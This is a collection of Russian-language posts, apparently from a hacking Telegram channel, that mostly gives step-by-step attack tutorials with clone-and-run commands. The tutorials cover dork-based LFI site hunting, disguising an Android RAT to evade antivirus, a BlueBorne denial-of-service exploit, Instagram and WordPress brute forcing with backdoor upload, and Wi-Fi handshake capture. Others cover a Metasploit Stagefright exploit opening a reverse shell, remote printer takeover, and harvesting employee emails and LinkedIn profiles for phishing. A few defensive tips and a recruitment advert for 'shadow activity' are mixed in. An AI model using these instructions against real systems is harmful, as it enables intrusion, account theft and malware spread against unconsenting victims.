​​Автоматический поиск сайтов с LFI уязвимостью

LFI - это уязвимость, которая позволяет выполнять подключение выполнение и чтение локальных файлов на сервере. Эксплуатируется она различными методами, которые в основном базируются на передаче параметров php файлу страницы.

Как и в варианте с SQL есть множество автоматизированных эксплоитов, которые по доркам Google ищут LFI уязвимые сайты. LFIFucker - один из таких. Помимо непосредственно поиска через Google CSE случайных ресурсов, есть возможность проверить свой список сайтов.

Установка и настройка

Скачиваем репозиторий командой

◽️git clone https://github.com/madRubyroid/LFIFucker.git

Далее нужно будет получить CSE-CX. Для этого нужно перейти по ссылке и добавить новую поисковую систему. В поле "Сайты, на которых выполняется поиск" нужно вписать звездочку и желаемую доменную зону, например: .ru. После сохранения, нужно перейти в Панель управления и скопировать значение из поля "Идентификатор поисковой системы".

Также нужен API-ключ для search engine. Здесь просто переходим в GCloud Console, создаем проект и включаем Custom Search API в разделе "Библиотека API". Далее переходим в "Учетные данные" и берем один из трех API ключей.

Остается только вписать эти две строчки в файл lfi.conf в корневом каталоге LFIFucker.

Использование

Для запуска сканирования по дефолтному шаблону и доркам id= и file= к примеру, нужно вписать команду

◽️./LFIFucker.sh --dork-query id=, file=

Результаты о найденных уязвимых сайтах сохранятся в директорию
tmp. Злоумышленнику останется только подобрать метод и осуществить LFI.

#хакинг

​​Новая текстовая бомба приводит к сбою WhatsApp и зависанию телефона

Участники сообщества WhatsApp сообщают о новой «текстовой бомбе», которая выводит из строя мессенджер и приводит к зависанию мобильного устройства. Проблема актуальна как для Android-платформы, так и для iOS, пишет ресурс Wabetainfo.

Опасное сообщение представляет собой бессмысленный набор символов, который не распознается WhatsApp, что приводит к сбою в работе приложения. Даже если программу открыть и закрыть, мобильное устройство зависнет и станет неработоспособным.

В настоящее время решения этой проблемы не существует, разработчики WhatsApp пока никак не прокомментировали на ситуацию. Пока пользователям рекомендуется не открывать чаты и сообщения от незнакомых номеров или контактов, а также установить опцию «My Contacts» в разделе «Who can add me to groups», что не позволит злоумышленникам добавляться в случайные группы.

​​Прокидываем трафик Telegram через TOR

С тех пор как разработчики мессенджера добавили поддержку протокола Socks5, стало возможным настроить Телеграм через Тор таким образом, чтобы весь трафик перенаправлялся через защищенную сеть. Это намного безопаснее чем использование VPN сервисов. При помощи Тор можно обезопасить себя бесплатно и при этом обеспечить максимальную защиту конфиденциальных данных.

Чтобы перенаправить трафик через тор в телеграмме, достаточно прописать в виде прокси сервера 127.0.0.1:9150 или 127.0.0.1:9050.
Трафик будет идти через тор до того момента, пока вы не закроете его.

Для начала нужно установить ТОР или и открыть его. После этого начать проделывать действия ниже.

◽️Заходим во вкладку Настройки
◽️Далее Продвинутые настройки
◽️Тип соединения и нажимаем Использовать собственный прокси
◽️Тип прокси выбираем SOCKS5, в Хосте вводим 127.0.0.1, а во вкладке порт 9150 или 9050.
◽️Открываем ТОР

Теперь наш трафик идёт через защищенную сеть Тор. Выше указанные действия проводились на компьютере, но их можно и проделать на телефоне. Для этого вам потребуется установить мобильный клиент TOR, а именно Orbot.

​​Поиск email адресов

Для социального инженера знание email сотрудника может быть основой для атаки на определенную организацию. Поэтому следует тщательно скрывать корпоративные почты или ограничивать прием сообщений на них с помощью фильтров, т.к. фишинговое письмо с подменой адреса отправителя неподготовленному пользователю идентифицировать сложно.

Для демонстрации поиска email адресов компании воспользуемся утилитой Samurai Email Discovery. Она способна искать по названию предприятия, доркам Google и домену.

Установка

Скачиваем репозиторий

◽️git clone https://github.com/0x3curity/Samurai

Далее нужно будет установить Lynx командой

◽️apt install lynx

И поставить права на исполняемый файл

◽️chmod +x samurai.sh

Использование

Запускаем программу командой

◽️./samurai.sh

Перед нами появится меню, где можно будет выбрать тип поиска. Вводим соответствующую цифру, к примеру 3. Вводим название компании, и получаем список найденных корпоративных почт.

#OSINT #kali

​​Как обойти антивирус на Android?

Многие пренебрегают защитой операционной системы Android, в основном из-за установки необходимого ПО с PlayMarket. Однако даже в нем есть зараженные приложения. К примеру, в прошлом году компанией Trend Micro было найдено полсотни подобных.

Такой обход защиты достигается качественной маскировкой логики программы, что называется обфускацией. Подобное можно реализовать с помощью инструмента AVPass.

Установка

Устанавливаем Kali Linux.

Скачиваем репозиторий с github

git clone https://github.com/sslab-gatech/avpass

Запускаем установщик командой

./install-dep.sh

Использование

Далее нам понадобится сгенерированный билд вируса для Android. Это может быть, к примеру, RAT от AhMyth. Для базовой маскировки остается просто прописать

python gen_disguise.py -i <название файла> individual

Сгенерированный apk файл не детектится большинством антивирусов(разве что одним), а его требования к системе скрыты от пользователя при установке.

#хакинг

​​Как распознать фишинговый сайт?

Фишинг — вид интернет мошенничества, при котором злоумышленники пытаются получить конфиденциальную информацию пользователей: логин, пароль, данные банковской карты, используя точные копии официальных страниц.

Все фишинговые сайты стараются максимально отвлечь пользователя от изучения страницы и поиска признаков подделки. Они часто играют на человеческой жадности, предлагая выиграть большой денежный приз. Дополнительно, злоумышленники устанавливают таймер, чтобы пользователи поторопились с вводом персональных данных.

Мошенники всегда регистрируют похожие домены. Так например, вместо официального «facebook.com», можно увидеть «onllinfacebook.com». Также сервисы могут располагаться на поддомене «facebook.site.com», что тоже является фишинговым сайтом.

Оригинальные сайты, используют шифрование SSL для передачи данных пользователей. При использовании этой технологии безопасный адреса сайта начинается с «https://». А вот если сайт банка или авиакомпании начинается на «http://», это повод усомниться в надежности страницы.

Также, стоит обращать внимание на отсутствие пользовательских соглашений и странные контакты, различие структур страниц с оригинальным сайтом и подозрительные платежные формы, грамматические, орфографические и дизайнерские ошибки. Если сайт вызвал у вас подозрение, игнорируйте и его платежную форму.

#Полезное

​​Устройство, которое взламывает iPhone по Lightning

Как взломать iPhone? Именно такой запрос оказался одним из самых популярных в Google при одновременном использовании ключевых слов «как» и «iPhone». Понятия не имею, кому и, самое главное, зачем это нужно, но интерес к данной теме присутствует. Причём очевидно, что речь идёт вовсе не о о том, как сделать джейлбрейк, потому что под него сформировался отдельный поисковый запрос, а об обходе защитных механизмов смартфона Apple с целью выемки данных. Прибор, который способен обойти защиту Apple действительно существует и уже давно используется многими спецслужбами.

Устройство для взлома iPhone имеет название GrayKey и представляет собой небольшую коробочку 10 х 10 см, к которой одновременно можно подключить два iPhone с помощью кабелей Lightning. Время, необходимое для разблокировки, зависит от сложности установленного пользователем пароля и может составлять от нескольких часов до нескольких недель. Как только программное обеспечение GrayKey взломает код доступа, он будет отображаться прямо на экране смартфона. Затем iPhone можно подключить обратно к GrayKey, чтобы загрузить все данные, включая незашифрованное содержимое Связки ключей. К этой информации можно получить доступ с помощью компьютера.

Вообще, GrayKey на сегодня считается одним из самых распространённых инструментов взлома iPhone во всём мире. Правоохранители из разных стран заказывают его у GrayShift и совершенно не гнушаются платить колоссальные деньги за доступ к нему. Например, лицензия на взлом 300 iPhone стоит 18 тысяч долларов, а безлимитная – 30 тысяч долларов. Причём за последний год её стоимость выросла на 5%. В GrayShift объяснили это усложнением процедуры взлома из-за новых механизмов безопасности Apple.

Интересуешься взломом, хакингом и другой теневой деятельностью?

Тогда однозначно рекомендую тебе читать FCS!

Только авторские статьи с закрытых форумов, отдельное комьюнити для общения и много разных плюшек;

Действуй 👉 https://t.me/joinchat/AAAAAE3S7jMotXfNnS61Lg

​​Blueborne или отключение Bluetooth на целевом устройстве

Blueborne - это общее название восьми уязвимостей службы Bluetooth, которые могут привести к утечке данных, RCE и т.д. Переполнение буфера также относится к этому списку, и оно, в свою очередь, приводит к отказу Bluetooth на целевом устройстве.

Код данной уязвимости в базе CVE - CVE-2017-0781. Автоматизированный скрипт для её эксплуатации есть на Github, воспользуемся им для проведения тестовой атаки.

Установка и настройка

Устанавливаем Kali Linux.

Для корректной работы эксплоита необходимо установить следующие зависимости

apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential

Далее обновляем pwntools

pip install --upgrade pip
pip install --upgrade pwntools

Устанавливаем библиотеки для работы с Bluetooth

apt-get install bluetooth libbluetooth-dev
pip install pybluez

Скачиваем эксплоит командой

git clone https://github.com/ojasookert/CVE-2017-0781

В скачанном python файле нужно подкорректировать количество пакетов, изменив переменную count до 30000 минимум.

Использование

Сканируем эфир командой

hcitool scan

Выбираем устройство, копируем его MAC адрес и прописываем команду

python CVE-2017-0781.py TARGET=<MAC адрес>

Как итог на атакуемое устройство начнут посылаться запросы, тем самым переполняя буфер, что приведет к ошибкам и отключению службы.

​​Сборник модулей для пентеста

Знание работы множества модулей для проведения атак и пентеста - это хорошо, но на использование и настройку каждого вручную может уйти много времени. Сэкономить его позволят автоматизированные сборники утилит. Они уже включают в себя все необходимые шаблоны, пользователю остается их только откорректировать под себя.

Самый популярный сборник из подобных - это Hakku. Он вмещает в себя модули для тестирования беспроводных сетей и веб приложений в основном.

Установка

Скачиваем пакет командой

◽git clone https://github.com/4shadoww/hakkuframework

Переходим в директорию и запускаем скрипт установки

◽cd hakkuframework/
◽./install

Использование

Запускаем фреймворк командой

◽./hakku

Чтобы получить список модулей, нужно выполнить show modules. С помощью help получаем справку по инструменту. Далее просто выбираем модуль, и также через help читаем, как им пользоваться.

​​Брутфорс Instagram аккаунтов

Проблемы с атаками типа перебора у Instagram встречались часто. Как например, прошлогодняя уязвимость в восстановлении доступа. Она позволяла свободно подбирать нужный код активации обходя все блокировки социальной сети с помощью прокси. Как итог цена взлома абсолютно любого аккаунта находилась в районе 150$.

Стандартную атаку bruteforce также можно реализовать, даже за бесплатно. Для этого достаточно будет ApkSignature для аутентификаций и TOR для смены ip. Автоматизирует весь процесс эксплоит Instashell.

Установка

Устанавливаем Kali Linux.

Скачиваем репозиторий с github

◽git clone https://github.com/thelinuxchoice/instashell

Переходим в директорию и ставим права на исполняемый файл

◽cd instashell
◽chmod +x instashell.sh

Использование

Запускаем сервисы TOR командой

◽service tor start

Запускаем Instashell

◽./instashell.sh

Далее нужно ввести никнейм Instagram аккаунта и словарь паролей для перебора. Словари, в свою очередь, часто генерируются на основе собранной информации о пользователе. Как итог при нахождении подходящего пароля, скрипт остановит свою работу.

​​Ошибка в Firefox позволяет взломать телефон через Wi-Fi

Mozilla попросила пользователей Firefox на Android срочно обновить браузер. Они нашли ошибку, используя которую хакеры могут взломать устройство через Wi-Fi сеть и посещать вредоносные сайты.

Mozilla исправила ошибку, которую можно было использовать для того, чтобы контролировать все браузеры Firefox на Android в одной Wi-Fi-сети. Хакеры могут использовать профили и данные пользователей, а также переходить по вредоносным сайтам, таким как фишинговые страницы.

Как пояснил ИБ-эксперт Крис Моберли (Chris Moberly), обнаруживший уязвимость, проблема связана с протоколом обнаружения сервисов (Simple Service Discovery Protocol, SSDP) в браузере. Данный протокол используется для поиска устройств в той же сети для передачи или получения контента. При обнаружении устройства механизм SSDP получает доступ к XML файлу с конфигурацией устройства.

Эксплуатация уязвимости не требует взаимодействия с пользователем, проведения атаки «человек посередине» или установки вредоносного приложения. Для этого всего лишь нужно, чтобы на мобильном устройстве был установлен браузер Firefox.

​​Полуавтоматический взлом WiFi

Почти все уже знают о методе взлома WiFi с помощью перехвата и расшифровки хендшейка. Он реализуется утилитой aircrack и подразумевает использование довольно большого количества команд. Airgeddon автоматизирует этот процесс и позволяет перехватывать и расшифровывать хендшейк в пару кликов по клавиатуре.

Установка и использование

Устанавливаем Kali Linux.

Скачиваем репозиторий командой

◽git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

Переходим в директорию и запускаем скрипт

◽cd airgeddon/
◽sudo bash airgeddon.sh

В случае наличия на ПК всех необходимых компонентов, Airgeddon предложит выбрать сетевую карту. Обычно она начинается на wlan. Вводим её номер и жмем Enter.

Использование

После запуска откроется главное меню. Управление утилитой в принципе сводится к вводу номера команды. Соответственно для базового перехвата хендшейка сначала нужно перевести карту в режим монитора прописав 2. Далее вводим 5, перейдя в раздел работы с хендшейками.

Выбираем пункт "Explore for targets". Когда целей наберется достаточно нажимаем Ctrl-C. Далее нужно будет выбрать точку доступа только ту, у которой возле номера стоит звездочка, поскольку это означает, что к сети подключены другие пользователи.

Остается выбрать "Capture Handshake" и ввести команду 2. Откроется два окна и после перехвата хендшейка, он появится в одном из них. После нужно будет подтвердить перехват в главном окне с Airgeddon.

Далее можно перейти в главное меню и выбрать там под пунктом 6 оффлайн расшифровку хендшейка. Можно также воспользоваться онлайн ресурсами. Во всяком случае хендшейк перехвачен, без единой команды.

​​База данных вредоносного ПО

theZoo - это open source проект направленный на предоставление возможности анализа различных вредоносных программ. В базе данных theZoo имеется около 300 вирусов, которые отсортированы по таким категориям, как операционная система, тип, язык программирования и т.д.

Установка

Устанавливаем Kali Linux.

Скачиваем репозиторий с github

git clone https://github.com/ytisf/theZoo

Использование

Запускаем интерфейс командой

python theZoo.py

Далее можно выбрать из базы, к примеру, только ботнеты, прописав

search botnet

Чтобы скачать нужный мальварь вписываем

use <порядковый номер вируса в БД>

Далее просто вводим get и получаем архив с вредоносом и ключи для его расшифровки. В целях безопасности theZoo деактивирует вирусы путем шифрования.

Базу данных можно обновлять командой update-db. Более подробная справка доступна по команде help.

​​Интерактивный блокировщик любых типов запросов браузера.

Создатели всеми известного блокировщика рекламы «uBlock Origin», разработали более функциональное расширение для браузеров, которое носит название «uMatrix». Его основной задачей является, предоставление пользователю полного контроля над загружаемыми веб-страницами и их контентом, посредством запрета загрузки скриптов, фреймов, CSS, рекламы и прочих возможностей.

По сравнению с другими расширениями, uMatrix отличается тем, что собрал в себе множество функций в одном, а так же он имеет более гибкую систему настроек. Так например, uMatrix позволяет устанавливать настройки как для глобального посещения, так и для определенного домена. Вы также можете проверить перечень сайтов, запрещённых на глобальном уровне и добавить в него свои. Стандартно для блокировки рекламы, трекеров и вредоносных загрузок используется 6 списков.

uMatrix позволяет активировать режим максимального блокирования, в котором отключаться всевозможные трекеры и вредоносные загрузки. А так же, блокируется все, кроме изображений и стилей CSS. Это увеличивает конфиденциальность, безопасность и экономит сетевой трафик. При его работе, могут возникать проблемы рендеринга некоторых ресурсов и ошибки взаимодействия.

Интерфейс, хоть и кажется сложным, но на деле является легко осваиваемым. В нем перечислены все входящие соединения посещаемой веб-страницы, а так же типы данных, которые блокируются и загружаются. Зеленым цветом указывается загруженное содержимое, красным — заблокированное. Чтобы разрешить или запретить определенный тип данных, например Media, нужно нажать на заголовок.

📌 Google Chrome - ссылка
📌 Mozilla Firefox - ссылка
📌 Opera - ссылка

#расширения #приватность #безопасность

​​Удаленный доступ к смартфону через ссылку

То что по ссылке можно реализовать несанкционированный удаленный доступ на ПК знают многие, но это же можно сделать и для смартфона на Android. Существует несколько подобных уязвимостей, одна из которых Stagefright. Она присутствует на относительно старых версиях Android, и эксплуатируется с помощью эксплоита в Metasploit.

Установка

Устанавливаем Kali Linux.

В случае если пакет Stagefright не предустановлен в Metasploit, скачиваем его и закидываем в папку с эксплоитами.

Использование

Открываем консоль командой


Далее подключаем сам эксплоит

 exploit/android/browser/stagefright_mp4_tx3g_64bit

Теперь нужно будет последовательно прописать необходимые параметры

 SRVHOST <ip>
◽️set URIPATH / 
◽️set PAYLOAD linux/armle/mettle/reverse_tcp
◽️set LHOST <ip>
◽️set VERBOSE true

Остается только запустить скрипт

 -j

В окне появится ссылка, при переходе по которой откроется сессия для удаленного доступа.

​​Удаленный взлом принтера

Взлом принтера с целью подмены данных в печатаемом документе атака не популярная, но довольно неприятная. При правильной реализации может нарушиться целая система документооборота, что приведет к заморозке рабочего процесса фирмы.

Причиной данных атак являются сбои и ошибки в работе с PostScript, PJL и PCL. Эксплоит для эксплуатации подобных уязвимостей разработали в университете Бохума.

Установка

Устанавливаем Kali Linux.

Устанавливаем необходимые пакеты python

◽pip install colorama pysnmp win_unicode_console

Далее потребуется установить несколько модулей

◽apt-get install ghostscript imagemagick

И скачать сам репозиторий с github

◽git clone https://github.com/RUB-NDS/PRET

Использование

Остается только вписать ip адрес на котором располагается целевой принтер и выбрать скриптовый язык

◽./pret.py 192.168.0.1 ps

Как итог установится сопряжение и атакующий сможет манипулировать устройством удаленно.

​​Сбор информации об Instagram аккаунте

OSINT инструмент, с названием «Osi.ig», поможет в сборе дополнительной информации об учетной записи Instagram, которую обычно сложно обнаружить просто листая профиль.

В его возможности входит полный анализ профиля и предоставление общего списка всех характеристик. Например, таких как количество подписчиков и подписок, фотографии пользователя, подключена ли учетная запись к Facebook, является ли профиль бизнес-аккаунтом, дата регистрации, название бизнес-категории и остальные особенности, определенной учетной записи.

Установка

$ pkg install -y git
$ git clone https://github.com/th3unkn0n/osi.ig.git && cd osi.ig
$ chmod +x install.sh && ./install.sh

Использование

$ python3 main.py -u username

Так же, Osi.ig позволяет собрать статистику всех, и наиболее часто используемых хештегов. Дополнительно, можно проанализировать все метки местоположений, временные метки, подписи, комментарии и ссылки на изображения.

📌https://github.com/th3unkn0n/osi.ig

#OSINT

​​Брутфорс Wordpress и загрузка бекдора

CMS системы значительно упрощают создание и администрирование сайтов, однако не всегда являются безопасными. К примеру, при неправильной конфигурации или устаревшей версии автоматизированные эксплоиты могут легко взломать веб ресурс, что приведет к утечкам данных.

Реализация методов взлома основывается как на эксплуатации уязвимостей, так и на обычном брутфорсе, о котором сегодня пойдет речь. В качестве примера, для подбора паролей будем использовать WpForce, но получение доступа к аккаунту не всегда является конечной целью. Обычно взломщик дополнительно заливает на сервер бекдор для большего контроля, в этом нам поможет Yertle.

Установка

Скачиваем все программы одним репозиторием с github

◽git clone https://github.com/n00py/WPForce.git

Также потребуется установить Python.

Использование

Запускаем атаку на сайт командой

◽python wpforce.py -i <список логинов> -w <список паролей> -u <ссылка>

В случае успеха в консоль выведется логин и пароль. Далее на сайт можно подгрузить бекдор прописав

◽python yertle.py -u <логин> -p <пароль> -t <ссылка> --interactive

Готово, тестовый веб ресурс взломан, а мы закрепились в системе и можем управлять каталогами, БД и т.д.

​​Автоматический сбор информации о сотрудниках компании

Инструмент Raven автоматизирует процесс сбора информации с Linkedin о сотрудниках целевой компании. Можно построить целую цепочку личностей: директора, менеджеры, подчиненные и т.д. Эти данные могут стать основой как для проведения банальных фишинговых, так и для более глубоких атак с применением СИ.

Установка

Скачиваем программу с github

git clone https://github.com/0x09AL/raven.git

Переходим в директорию и запускаем установщик

cd raven
sh setup.sh

Использование

Для вывода справки нужно вписать

python raven.py

Из представленной информации можно узнать, что минимальные данные, которые нужно знать о целевой компании - это её название и инициалы страны расположения.

То есть если мы хотим узнать о сотрудниках корпорации "Evil", которая находится в России, нужно будет вписать команду

python raven.py -c 'Evil' -s ru

После завершения работы скрипта в терминале появится список всех найденных сотрудников.